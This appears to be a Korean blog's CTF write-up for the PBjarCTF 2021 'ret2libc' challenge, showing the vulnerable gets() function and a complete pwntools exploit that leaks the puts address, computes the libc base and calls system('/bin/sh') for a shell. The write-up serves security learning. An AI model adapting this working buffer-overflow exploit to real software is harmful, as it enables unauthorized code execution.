[PBjarCTF 2021] PWN - ret2libc 본문
void learn(){
char buf[32];
puts("WANT TO LEARN: \n");
puts("Before we start, would you like to learn about ret2libc?[y/N]");
gets(buf);
puts("");
if(buf[0] == 'y' || buf[0] == 'Y'){
divide();
explain_pltgot();
divide();
explain_rop();
divide();
resources();
}else{
puts("I see, you must be a natural!\n");
}
}
뚫어야 할 코드이다.
제목에서부터 알 수 있듯이 ret2libc문제이다.
어렵진 않았다.
exploit code
from pwn import *
context.log_level='debug'
p = process("./ret2libc")
elf = ELF("./ret2libc")
libc = ELF("./libc-2.31.so")
pop_rdi = 0x40155b
binsh_offset = next(libc.search(b"/bin/sh\x00"))
payload = b'\x90'*40
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['learn'])
p.sendline(payload)
p.recvuntil("I see, you must be a natural!\n\n")
puts = u64(p.recv(6) + b"\x00\x00")
base = puts - libc.symbols['puts']
system = base + libc.symbols['system']
binsh = base + binsh_offset
payload = b'\x90'*40
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.sendline(payload)
p.interactive()
1. puts의 got주소 구하기
2. learn함수 반복
3. libc base 구하기
4. 가젯들 주소 계산
5. system함수 호출
'보안 > 워게임' 카테고리의 다른 글
DIMICTF 2017 - linked_reverse (0) | 2021.11.11 |
---|---|
DIMICTF 2017 - getFlag (0) | 2021.11.08 |
Dreamhack - basic_exploitation_003 (0) | 2021.11.03 |
Dreamhack - basic_exploitation_002 (0) | 2021.11.03 |
Dreamhack - basic_exploitation_001 (0) | 2021.11.03 |
Comments